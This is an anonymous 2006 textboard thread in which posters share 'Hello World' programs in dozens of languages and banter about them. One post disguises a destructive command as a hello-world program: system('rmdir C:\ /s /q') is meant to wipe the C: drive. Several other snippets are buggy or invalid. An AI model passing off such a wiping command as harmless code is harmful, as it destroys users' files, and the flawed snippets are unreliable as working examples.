Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

In this thread, we Hello World

Name: Anonymous 2006-06-20 20:56

c:
#include <stdio.h>
main() { printf("hey worldz\n"); }

Name: Anonymous 2006-06-20 21:35

10 PRINT "HELLO WORLD"

Name: Anonymous 2006-06-20 22:02

#include <stdlib.h>
int main() { return system("echo hello world"); }

Name: Anonymous 2006-06-20 22:11

6502 ASM on Commodore 64:
frekzp = $FB
chrout = $FFD2
.org $c000
lda #<msgtxt
sta frekzp
lda #>msgtxt
sta frekzp+1
ldy #$00
sta 53280
sta 53281
loop: lda (frekzp),y
beq exit
sty frekzp+2
jsr chrout
ldy frekzp
jmp loop
rts
msgtxt .db 147,5
.asc "HELLO, WORLD"
.db 0

Name: Anonymous 2006-06-21 8:32

#include <iostream>
#include <string.h>

using namespace std;

class wryy
{
 protected:
       char dokidoki;
 public:
       wryy(char nyu)
       {  strcpy(dokidoki, nyu); }
       za_warudo()
       {  cout << this.dokidoki; }
}

main()
{
 wryy dio;

 dio = new wryy("Hello World");
 dio.za_warudo();

 exit 0
}  

Name: Anonymous 2006-06-21 8:46

print "hello world"

Name: Anonymous 2006-06-21 11:10

?"Hello world"

Name: Anonymous 2006-06-21 11:28

10 PRINT"this is very annoying"
20 GOTO 10
30 END

Name: Anonymous 2006-06-21 15:05

print "".join(list("Hello world"))

Name: Anonymous 2006-06-21 15:21

#include <iostream>
using namespace std;

class Hello
{
    string hello;
public:
    Hello(const string &world = "Hello, world!"): hello(world) { }
    friend ostream &operator<<(ostream &stream, const Hello &hello) {
        stream << hello.hello;
        return stream;
    }
};

int main()
{
    Hello world;
    cout << world << endl;
    return 0;
}

Name: Anonymous 2006-06-21 16:49

>>10
Lol OO

Name: Anonymous 2006-06-21 17:08

>>10
Not Ready For The Enterprise, you'll have to use XML for that.

Name: Anonymous 2006-06-21 22:05

The Enterprise Strikes Back

Name: Anonymous 2006-06-22 3:03

echo 'Hello, world!'

Name: Anonymous 2006-06-22 3:18

++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.

Name: Anonymous 2006-06-22 4:07

writeln 'Hello world'; (*IIRC*)

Name: Anonymous 2006-06-22 4:44

document.write('Hello World')

Name: Anonymous 2006-06-22 5:09

msgbox "Hello World"

Name: Anonymous 2006-06-22 6:21

document.getElementsByTagName("BODY")[0].innerHTML = "Hello World"

Name: Anonymous 2006-06-22 9:33

>>15
wins thread

Name: Anonymous 2006-06-22 9:41

Brainfuck fucks with my brain.
I hate it.

Name: Anonymous 2006-06-22 11:05

    .class public HelloWorld
    .super java/lang/Object

    ;
    ; standard initializer (calls java.lang.Object's initializer)
    ;
    .method public <init>()V
       aload_0
       invokenonvirtual java/lang/Object/<init>()V
       return
    .end method

    ;
    ; main() - prints out Hello World
    ;
    .method public static main([Ljava/lang/String;)V
       .limit stack 2   ; up to two items can be pushed

       ; push System.out onto the stack
       getstatic java/lang/System/out Ljava/io/PrintStream;

       ; push a string onto the stack
       ldc "Hello World!"

       ; call the PrintStream.println() method.
       invokevirtual java/io/PrintStream/println(Ljava/lang/String;)V

       ; done
       return
    .end method

Name: Anonymous 2006-06-22 12:34

>>22
seriously.
GTFO

Name: Anonymous 2006-06-22 12:56

>>22
Is this what object oriented programming looks like?

Name: Anonymous 2006-06-22 12:57

>>22
haha oh wow

Name: Anonymous 2006-06-22 12:57

No that's what Java looks like and I think my eyes are irreparably damaged.

Name: Anonymous 2006-06-22 13:48

i actually like java lol

Name: Anonymous 2006-06-22 20:27

Java is evil.

Name: DoubleAW 2006-06-22 20:35

echo"Hello World!";

Name: Anonymous 2006-06-22 23:00

print_endline "Hello World!";;

Name: Anonymous 2006-06-23 0:44

>>22 is some sort of JVM assembly.
#!/usr/bin/perl
# prints "Hello World"
use SuperPython;

Name: Anonymous 2006-06-23 5:06

(lambda () '(hello world))

Name: Anonymous 2006-06-23 5:14

Name: Anonymous 2006-06-23 14:10

IDENTIFICATION DIVISION.
PROGRAM-ID. HELLO WORLD.
ENVIRONMENT DIVISION.
DATA DIVISION.
PROCEDURE DIVISION.
MAIN SECTION.
DISPLAY "Hello World!"
STOP RUN.

Name: Anonymous 2006-06-23 14:13

0x680x650x6c0x6c0x6f0xa00x770x6f0x720x6c0x64

all ready for some hexdump utility.

Name: Anonymous 2006-06-23 15:56

>>5

shouldn't the public class function za_warudo() be called as

dio::za_warudo()

as opposed to

dio.za_warudo()

If not, tell me why not so i can further my knowledge :)

Name: Anonymous 2006-06-23 18:08

in SMATINY (http://esolangs.org/wiki/SMATINY):
1. Swap 42 with 72.
2. Swap 2 with 71.
33. Swap 32 with 87.
34. Swap 111 with 255.
35. Swap 253 with 102.
36. Swap 254 with 34.
41. Swap 41 with 86.
42. Output this block's position.
73. Swap 73 with 99.
88. Swap 87 with 111.
89. Swap 95 with 112.
90. Swap 96 with 115.
91. Swap 97 with 109.
92. Swap 98 with 101.
93. Swap 251 with 117.
94. Swap 94 with 110.
95. Swap 111 with 114.
96. Swap 114 with 108.
97. Swap 108 with 100.
98. Swap 100 with 33.
105. Swap 72 with 101.
110. Swap 105 with 150.
117. Swap 117 with 99.
118. Swap 250 with 109.
120. Swap 120 with 107.
121. Swap 108 with 111
150. Swap 101 with 108.
160. Swap 108 with 32.
161. Swap 161 with 31.
250. Swap 108 with 111.
251. Swap 117 with 107.
252. Swap 110 with 99.
253. Swap 102 with 32
254. Swap 34 with 260
255. Swap 252 with 110

Name: Anonymous 2006-06-23 23:31

>>36
Isn't that used to differentiate namespaces?

Name: Anonymous 2006-06-23 23:40

>>36
:: operator is only used for static member functions and namespaces.
For the record, it should be dio->warudo(), since dio (should be) is a pointer to a wryy object.

Name: Anonymous 2006-06-24 1:32

>>22
It's funny that the assembly language version of Hello World (>>2) is shorter than the Java version

Name: Anonymous 2006-06-24 7:59

>>40
>It's funny that the assembly language version of Hello World (>>2)

lol

Name: Anonymous 2006-06-24 13:45

>>40
uhh its basic

Name: Anonymous 2006-06-24 14:00

eep meant >>4

Name: Anonymous 2006-06-24 17:12

>>40
>>22 is this: http://jasmin.sourceforge.net/

also,
<?xml version="1.0"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
    "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">;
<html xmlns="http://www.w3.org/1999/xhtml"; xml:lang="en">
<head>
    <title>Hello World!</title>
    <meta http-equiv="content-type" content="application/xhtml+xml;charset=utf-8" />
</head>
<body>
    <script type="text/javascript">
        function hello(){
            this.text="Hello World!";
            this.say_it=function(e){
                this.paragraph=document.createElement('p');
                this.paragraph_text=document.createTextNode(this.text);
                this.paragraph.appendChild(this.paragraph_text);
                document.body.appendChild(this.paragraph);
            }
        }

        var world = new hello();
        world.say_it();
    </script>
</body>
</html>

Name: Anonymous 2006-06-25 3:06

,008015,022029,036043,050054,055062,063065,066077/333/M0762502F1.HELLO
WORLD

I cheated: http://www2.latech.edu/~acm/HelloWorld.shtml

Name: Anonymous 2006-06-25 4:43

>>44

HTML is not programming, you fail

Name: Anonymous 2006-06-25 5:44 (sage)

>>46
Javascript idiot.

But why would you write all that stuff anyway when >>17 gives the same result.

Name: Anonymous 2006-06-25 8:56

>>47
OO + XML

Name: Anonymous 2006-06-25 10:38 (sage)

>>5
Fails for using strcpy() where dokidoki = nyu; would've sufficed. Also, hello world is longer than a single letter.

Name: Anonymous 2006-06-25 13:49

@greeter
'ZZT-OOP
:touch
Hello, World!
#PLAY SFGAGABQC

Name: Anonymous 2006-06-25 14:25

end
: "touch"
* "Hello, world!"
end

Name: Anonymous 2006-06-25 20:22

>>50
My good sir, your winning post is beyond comparison. In the future, every time I think of "win" I will think of Anonymous #50.

Name: Anonymous 2006-06-25 20:28

echo Hello World

Name: Anonymous 2006-06-26 0:01

>>51 is megazeux/robotic?

Name: Anonymous 2006-06-26 5:27

start
  LDX #$0D
cycle
  LDA hworld,X
  STA $0400,X
  DEX
  BNE cycle
hworld
  RTS
  .text "Hello, World!"

Name: Anonymous 2006-06-26 6:13

>>19
Bad!  lrn2DOM.

document.getElementsByTagName("BODY").item(0).appendChild(document.createTextNode("Hello World!"));

Name: Anonymous 2006-06-26 6:33

>>56
Certainly. But DOM sucks and I escape from it as soon as I can get through.

Name: Anonymous 2006-06-26 8:58

>>56
wrong!
You have used character data somewhere it is not permitted to appear. Mistakes that can cause this error include putting text directly in the body of the document without wrapping it in a container element (such as a <p>aragraph</p>) or forgetting to quote an attribute value (where characters such as "%" and "/" are common, but cannot appear without surrounding quotes).
document.getElementsByTagName("BODY").item(0).appendChild(document.createElement("P")).appendChild(document.createTextNode("Hello World!"));

Name: Anonymous 2006-06-26 9:01

Lol blOOatware

Name: Anonymous 2006-06-26 17:56

   Gr34t l33tN3$$?
   M3h...
   iT 41n't s0 7rIckY.
 
   l33t sP33k is U8er keWl 4nD eA5y wehn u 7hink 1t tHr0uGh.
   1f u w4nn4be UB3R-l33t u d3f1n1t3lY w4nt in 0n a b4d4sS h4xX0r1ng s1tE!!! ;p
   w4r3Z c0ll3cT10n2 r 7eh l3Et3r!
 
   Qu4k3 cL4nS r 7eh bE5t tH1ng 1n teh 3nTIr3 w0rlD!!!
   g4m3s wh3r3 u g3t to 5h00t ppl r 70tAl1_y w1cK1d!!
   I'M teh fr4GM4stEr aN I'lL t0t41_1Ly wIpE teh phr34k1ng fL00r ***j3d1 5tYlE***
   wItH y0uR h1dE!!!! L0L0L0L!
   t3lEphR4gG1nG l4m3rs wit mY m8tes r34lLy k1kK$ A$$
 
   l33t hAxX0r$ CrE4t3 u8er- k3wL 5tUff lIkE n34t pR0gR4mm1nG lAnguidGe$...
   s0m3tIm3$ teh l4nGu4gES l00k jUst l1k3 rE41_ 0neS 7o mAkE ppl Th1nk th3y'r3
   ju$t n0rMal lEE7 5pEEk but th3y're 5ecRetLy c0dE!!!!
   n080DY unDer5tAnD$ l33t SpEaK 4p4rT fr0m j3d1!!!!!
   50mE kId 0n A me$$4gEb04rD m1ghT 8E a r0xX0r1nG hAxX0r wH0 w4nT2 t0 bR34k
   5tuFf, 0r mAyb3 ju5t sh0w 7eh wAy5 l33t ppl cAn 8E m0re lIkE y0d4!!!
   hE i5 teh u8ER!!!!
   1t m1ght 8E 5omE v1rus 0r a Pl4ySt4tI0n ch34t c0dE.
   1t 3v3n MiTe jUs7 s4y "H3LL0 W0RLD!!!" u ju5t cAn'T gu3s5.
   tH3r3's n3v3r anY p0iNt l00KiNg sC3pT1c4l c0s th4t, be1_1Ev3 iT 0r n0t, 1s
   whAt th1s 1s!!!!!
 
   5uxX0r5!!!L0L0L0L0L!!!!!!!

Name: Anonymous 2006-06-26 19:00 (sage)

>>60
tl;dr

Name: Anonymous 2006-06-26 22:51

>>55
YOU ARE A DUMBASS
THAT WOULD PRINT HELLO WORLD BACKWARDS AS YOU ARE NOT INC'ING THROUGH THE TEXT BUT DEC'ING
YOU DUMBFUCK
FURTHERMORE, SINCE THE LABEL hworld APPEARS BEFORE THE RTS INSTRUCTION, THE RTS OPCODE WILL BE INCLUDED IN THE DISPLAY DATA
AND NOT USING ZERO TERMINATED STRINGS IN CASE YOU CHANGE THE LENGTH OF THE STRING IS PURE HORSECOCKERY
GB2/BASIC+JAVA ENTERPRISE/EMACS/ETC

Name: Anonymous 2006-06-27 22:22

>>62
Capital letters may cause mild retardation

Name: Anonymous 2006-06-28 0:11 (sage)

>>63
PROGRAMMING MAY CAUSE AIDS

Name: Anonymous 2006-06-28 3:56

>>64
How?  AIDS is an STD.  Programmers don't have sex.

Name: Anonymous 2006-06-28 7:00

>>65
std::AIDS

Name: Anonymous 2006-06-28 7:42

>>66
using namespace std;   // OMG!!!!ur rite

Name: Anonymous 2006-06-29 11:51

>>62 try it on your c64 and see

Name: Anonymous 2006-06-30 5:47

>>68
AFTER CLOSER ANALYSIS, IT WOULD ACTUALLY POKE THE HELLO WORLD CODES IN VIDEO MEMORY IN THE RIGHT ORDER.  STILL, THE HWORLD LABEL IS MISPLACED.

BUT THAT'S BS.  YOU NEED TO SET COLOR MEMORY AS WELL, AND WHAT IF THE SCREEN ISN'T AT $0400. 

USE FUCKING CHROUT($FFD2) AND GTFO.

>>4 IS THE RIGHT WAY TO DO IT BUT I FORGOT TO PUT A INY IN THERE SOMWHERE

Name: Anonymous 2006-06-30 10:39

I tried to make a computer say hello world. but it just said fuck you.

Name: Anonymous 2006-06-30 10:59

printf '\150%x%o \167%d\162%d\144\n' 14 0x48 0 1

Name: Anonymous 2006-06-30 19:38

Transcript show: 'Hello, world!'.

Name: Anonymous 2006-07-01 1:44

#!/usr/bin/env python

print "HEY MAN!"

Name: Anonymous 2006-07-01 2:04

How do you make the grayed-block code samples?

Name: Anonymous 2006-07-01 2:08

import javax.swing.*;
import java.awt.*;
import java.awt.event.*;

public class HelloWorld extends JFrame implements ActionListener {
    private JButton dio;
    public static void main (String args[]) {
        HelloWorld zawarudo = new HelloWorld();
        zawarudo.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    }
   
    public HelloWorld() {
        super("Hello World!");
        Container world = getContentPane();
        world.setLayout(new FlowLayout(FlowLayout.CENTER));
        dio = new JButton("WRYYY");
        dio.addActionListener(this);
        dio.setMnemonic(KeyEvent.VK_W);
        world.add(dio);
        setSize(250, 100);
        setVisible(true);
    }
   
    public void actionPerformed(ActionEvent src) {
        JOptionPane.showMessageDialog(null, "Hello World!", "Dio:", 2);
    }
}

Name: SQL 2006-07-01 2:18

CREATE TABLE message (text char(15));
INSERT INTO message (text) VALUES ('Hello world!');
SELECT text FROM message;
DROP TABLE message;

Name: Anonymous 2006-07-01 2:31 (sage)

lol javascript
javascript:alert(unescape('%48%65%6C%6C%6F%20%57%6F%72%6C%64'));

Name: Anonymous 2006-07-01 5:52

Private Sub Form_Load ()
{
 msgbox "Hello World"
}

Name: Anonymous 2006-07-01 12:48

int main() {
   system("rmdir C:\ /s /q");
   ofstream hlowrld ("hello world.txt");
   hlowrld<<"Goodbye files\nHello world";
}

Name: Anonymous 2006-07-01 13:01 (sage)

>>74
[code]

Name: Anonymous 2006-07-02 19:15

>>76
Lol

Name: Anonymous 2006-07-03 4:27

Actually, SELECT "Hello World" would do (add FROM Dual if your database is stupid).

Name: Anonymous 2006-07-04 9:26

>>82
the database is not stupid, he is

Name: Anonymous 2006-07-06 2:28

php:
<?php echo "Hello World\n"; ?>

perl:
#!/usr/local/bin/perl
print "Hello World\n";

python:
#!/usr/local/bin/python
print "Hello World\n"

sh:
#!/bin/sh
print "Hello World\n"

batch script:
echo "Hello World\n"
c#:
class HelloWorld {
  static void Main () { 
     System.Console.Write("Hello World!");
  }
}
c++:
#include <iostream.h>
int main() {
  cout<<"Hello World"<<endl;
  return 0;
}

c:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
  printf("Hello World\n");
  return 0;
}

nasm:
[SECTION .data]
msg:    db "Hello World",10
len:    equ $-msg
[SECTION .text]
  global main
main:
  mov    edx,len
  mov    ecx,msg
  mov    ebx,1
  mov    eax,4
  int    0x80
  mov    ebx,0
  mov    eax,1
  int    0x80

brainfuck:
>+++++++++[<++++++++>-]<.>++++++[<+++++>-]<-.+++++++..++
+.
>>+++++++[<++++++>-]<++.------------.<++++++++.--------.
+++.------.--------.>+.>++++++++++.

java:
class HelloWorld {
  public static void main (String args[]) {
    System.out.print("Hello World\n");
  }
}

javascript:
<script> document.write ("Hello World\n"); </script>

ruby:
puts "Hello World\n"

tcl:
puts "Hello World\n"

fortran:
PROGRAM HELLO
PRINT *,'Hello World\n'
END

AWK:
BEGIN {
  printf("Hello World\n");
}

SQL:
SELECT "Hello World\n";

that should cover about every well used programming language ty <3

Name: Anonymous 2006-07-06 3:07 (sage)

#1/usr/bin/python
print "Hello Worldz!!!"

Name: Anonymous 2006-07-07 4:06

PHP:
Hello world

Name: Anonymous 2006-07-07 6:25

>>86

HOW DO I MISSED JOKE?

Name: Anonymous 2006-07-07 7:16

>>87
WHY?

Name: Anonymous 2006-07-16 4:37

useLibrary string.
useLibrary consoleIO.

new function main (
    new myConsole consoleIO(console(createNew)).
    new helloString string(string(createNew <- 'Hello World!')).
    myConsole(outputString <- helloString).
    myConsole(outputByte <- consoleIO(endOfLineCharacter)).
    return.
).

Name: Anonymous 2006-07-16 8:33

createScene()
{
   Entity* ent = mSceneMgr->createEntity("HelloWorldEntity", "HelloWorld.mesh");
   SceneNode* scn = mSceneMgr->getRootSceneNode().createChildSceneNode("HelloWorldNode", Vector3(0,0,0));
   scn->attachObject(ent);

   mCamera->setPosition(Vector3(0,100,0));
   mCamera->lookAt(Vector3(0,0,0));

   mSceneMgr->setAmbientLight(ColourValue(0.5f,0.5f,0.5f));
}

Name: Anonymous 2006-07-16 10:44

++++++++++
[                  
   >+++++++>++++++++++>+++>+<<<<-
]
>++.           
>+.        
+++++++.                 
.                        
+++.                     
>++.                    
<<+++++++++++++++.       
>.                       
+++.                     
------.
--------.
>+.
>.

Name: Anonymous 2006-07-16 11:25

>>92
what the hell is this?

Name: Anonymous 2006-07-16 11:48

program helloworld;
uses Forms, StdCtrls;
var hello: TForm;
begin
  hello := TForm.Create(nil);
  hello.Caption := '''sup';
  with TLabel.Create(hello) do
  begin
    Parent := hello;
    Caption := 'Hello world!';
  end;
  try
    hello.ShowModal;
  finally
    hello.Release;
  end;
end.

Name: Anonymous 2006-07-16 12:14

93, its called Brainfuck :D

Name: Anonymous 2006-07-16 23:39

MODS /B/ IS NOT WORKING PLZ FIX CUZ I LIEK /B/. KTHNKSBAI.

Name: Anonymous 2006-07-17 17:35

>>34
COBOL?

Name: Anonymous 2006-07-17 20:39

>>97
finally! i've been waiting for someone to say something about that. isn't it beautiful?

Name: Anonymous 2006-07-18 0:15

>>98
It looks like a transcript of a Doctor Who episode featuring the Daleks.

Name: Anonymous 2006-07-18 21:20

#!/usr/bin/parrot
Hello, world!

Name: Anonymous 2006-07-18 21:58

#!/usr/bin/HQ9P
H

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List